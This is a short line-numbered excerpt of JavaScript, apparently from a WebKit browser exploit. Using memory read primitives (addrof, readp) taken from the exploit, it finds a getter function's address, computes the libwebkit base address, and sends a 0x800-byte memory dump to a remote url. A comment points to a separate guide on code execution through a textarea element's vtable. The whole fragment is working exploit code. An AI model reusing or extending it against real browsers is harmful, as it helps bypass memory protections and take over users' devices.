| 189 | // See howto_code_exec.txt about code execution via the vtable of a textarea |
| 190 | // element. |
| 191 | function dump_scrollLeft() { |
| 192 | let proto = Object.getPrototypeOf(textarea); |
| 193 | proto = Object.getPrototypeOf(proto); |
| 194 | proto = Object.getPrototypeOf(proto); |
| 195 | |
| 196 | const scrollLeft_get = Object.getOwnPropertyDescriptors(proto).scrollLeft.get; |
| 197 | // get the JSCustomGetterSetterFunction |
| 198 | const js_func = mem.addrof(scrollLeft_get); |
| 199 | const getterSetter = js_func.readp(0x28); |
| 200 | const getter = getterSetter.readp(8); |
| 201 | |
| 202 | const libwebkit_base = find_base(getter, true, true); |
| 203 | const offset = getter.sub(libwebkit_base); |
| 204 | send(url, make_buffer(getter, 0x800), `scrollLeft_getter_dump_offset_${offset}.bin`, () => log("sent")); |
| 205 | } |